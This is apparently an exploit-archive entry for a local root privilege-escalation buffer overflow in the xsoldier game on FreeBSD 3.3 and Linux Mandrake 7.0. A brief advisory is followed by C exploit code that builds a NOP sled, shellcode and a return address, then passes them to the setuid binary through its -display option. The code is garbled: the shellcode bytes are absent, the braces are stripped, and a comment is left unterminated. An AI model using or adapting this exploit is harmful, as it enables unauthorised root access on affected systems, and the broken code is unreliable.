xsoldier (FreeBSD 3.3Linux Mandrake 7.0) - Local Buffer Overflow (2)

Type exploitpack
Reporter Larry W. Cashdollar
Modified 2000-05-17T00:00:00


xsoldier (FreeBSD 3.3Linux Mandrake 7.0) - Local Buffer Overflow (2)

source: https://www.securityfocus.com/bid/871/info
Certain versions of FreeBSD (3.3 Confirmed) and Linux (Mandrake confirmed) ship with a vulnerable binary in their X11 games package. The binary/game in question, xsoldier, is a setuid root binary meant to be run via an X windows console.
The binary itself is subject to a buffer overflow attack (which may be launched from the command line) which can be launched to gain root privileges. The overflow itself is in the code written to handle the -display option and is possible to overflow by a user-supplied long string.
The user does not have to have a valid $DISPLAY to exploit this.

/*Larry W. Cashdollar linux xsolider exploit.
 *lwc@vapid.dhs.org http://vapid.dhs.org
 *if xsolider is built and installed from its source it will be installed
 *setuid root in /usr/local/games 
 *original exploit found by brock tellier for freebsd 3.3 ports packages.
 *If a setregid() call is placed in the shellcode, you can get egid=12
 *with the default mandrake installation.*/

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90		/*no operation skip to next instruction. */
#define LEN 4480			/*our buffersize. */

char shellcode[] =		/*execve with setreuid(0,0) and no '/' hellkit v1.1 */

/*Nab the stack pointer to use as an index into our nop's*/
get_sp ()
  __asm__ ("mov %esp, %eax");

main (int argc, char *argv[])
  char buffer[LEN];
  int i, offset;
  long retaddr = get_sp ();

  if (argc <= 1)
    offset = 0;
    offset = atoi (argv[1]);

/*#Copy the NOPs  in to the buffer leaving space for shellcode and

  for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
    *(buffer + i) = NOP;

/*[NNNNNNNNNNNNNNNNNNNNN                            ]*/
/*                      ^-- LEN -(strlen(shellcode)) - 35*/
/*#Copy the shell code into the buffer*/

  memcpy (buffer + i, shellcode, strlen (shellcode));

/*                      ^-(buffer+i)                 */
/*#Fill the buffer with our new address to jump to esp + offset */

  for (i = i + strlen (shellcode); i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr+offset;

/*                                      ^-(i+strlen(shellcode))*/

  printf ("Jumping to address %x BufSize %d\n", retaddr + offset, LEN);
  execl ("/usr/local/games/xsoldier", "xsoldier", "-display", buffer, 0);